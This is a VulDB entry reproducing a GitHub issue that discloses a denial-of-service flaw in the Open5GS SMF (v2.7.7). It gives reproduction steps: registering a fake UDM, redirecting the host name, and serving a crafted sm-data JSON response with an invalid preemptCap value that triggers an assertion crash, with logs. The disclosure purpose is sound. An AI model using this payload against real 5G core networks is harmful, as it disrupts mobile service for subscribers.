| Titel | Open5gs SMF v2.7.7 Denial of Service |
|---|
| Beschreibung | Open5GS Release, Revision, or Tag
v2.7.7
Steps to reproduce
Description
SMF crashes when the nudm-sdm Session Management Subscription Data response
contains _5gQosProfile.arp.preemptCap outside the expected enum set.
The smf_nudm_sdm_handle_get() path copies the ARP values from the UDM
response into session state and then asserts that the internal mapped value was
set:
if (_5gQoSProfile->arp->preempt_cap ==
OpenAPI_preemption_capability_MAY_PREEMPT)
sess->session.qos.arp.pre_emption_capability =
OGS_5GC_PRE_EMPTION_ENABLED;
else if (_5gQoSProfile->arp->preempt_cap ==
OpenAPI_preemption_capability_NOT_PREEMPT)
sess->session.qos.arp.pre_emption_capability =
OGS_5GC_PRE_EMPTION_DISABLED;
ogs_assert(sess->session.qos.arp.pre_emption_capability);
Unknown enum strings are parsed as 0, so the request reaches the assertion
instead of being rejected cleanly.
This issue is distinct from the PCF callback ARP issue already reported in
report/smf/: here the crash is on the SMF-to-UDM client path.
Steps to reproduce
Stop the real udm.
Register a fake UDM NF instance into the SMF local cache via
POST /nnrf-nfm/v1/nf-status-notify, advertising nudm-sdm on 10.33.33.12.
Add 10.33.33.12 udm.open5gs.org to /etc/hosts inside the smf
container so the fake endpoint is reachable.
Run a fake h2c UDM on 10.33.33.12:80 that answers:
[
{
"singleNssai": { "sst": 1 },
"dnnConfigurations": {
"internet": {
"pduSessionTypes": {
"defaultSessionType": "IPV4",
"allowedSessionTypes": ["IPV4"]
},
"sscModes": {
"defaultSscMode": "SSC_MODE_1",
"allowedSscModes": ["SSC_MODE_1"]
},
"5gQosProfile": {
"5qi": 9,
"arp": {
"priorityLevel": 8,
"preemptCap": "BOOM",
"preemptVuln": "NOT_PREEMPTABLE"
},
"priorityLevel": 8
},
"sessionAmbr": {
"uplink": "1000 Kbps",
"downlink": "1000 Kbps"
}
}
}
}
]
Send a normal POST /nsmf-pdusession/v1/sm-contexts request with a valid
multipart n1SmMsg.
Check fake UDM and SMF logs:
docker logs --since 2026-04-11T07:17:30Z smf
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' smf
Logs
Fake UDM:
REQ GET /nudm-sdm/v2/imsi-001011234567882/sm-data?dnn=internet&plmn-id=%7B%22mcc%22%3A%22001%22%2C%22mnc%22%3A%2201%22%7D&single-nssai=%7B%22sst%22%3A1%7D
RESP sm-data 398
SMF state:
exited 139 2026-04-11T07:17:30.392125906Z
SMF log:
04/11 07:17:30.007: [sbi] INFO: [fake-udm] Setup NF Instance [type:UDM] (../lib/sbi/path.c:307)
04/11 07:17:30.232: [smf] FATAL: smf_nudm_sdm_handle_get: Assertion `sess->session.qos.arp.pre_emption_capability' failed. (../src/smf/nudm-handler.c:200)
Expected behaviour
SMF should reject invalid ARP enum values in the UDM response and fail only the
affected transaction.
Observed Behaviour
The crafted nudm-sdm sm-data response aborts the entire SMF process with
exit code 139.
eNodeB/gNodeB
Not required.
UE Models and versions
Not required. |
|---|
| Quelle | ⚠️ https://github.com/open5gs/open5gs/issues/4455 |
|---|
| Benutzer | ZiyuLin (UID 93568) |
|---|
| Einreichung | 15.07.2026 15:37 (vor 2 Monaten) |
|---|
| Moderieren | 30.08.2026 08:10 (2 months later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 397085 [Open5GS bis 2.7.7 SMF src/smf/nudm-handler.c smf_nudm_sdm_handle_get preemptCap Denial of Service] |
|---|
| Punkte | 20 |
|---|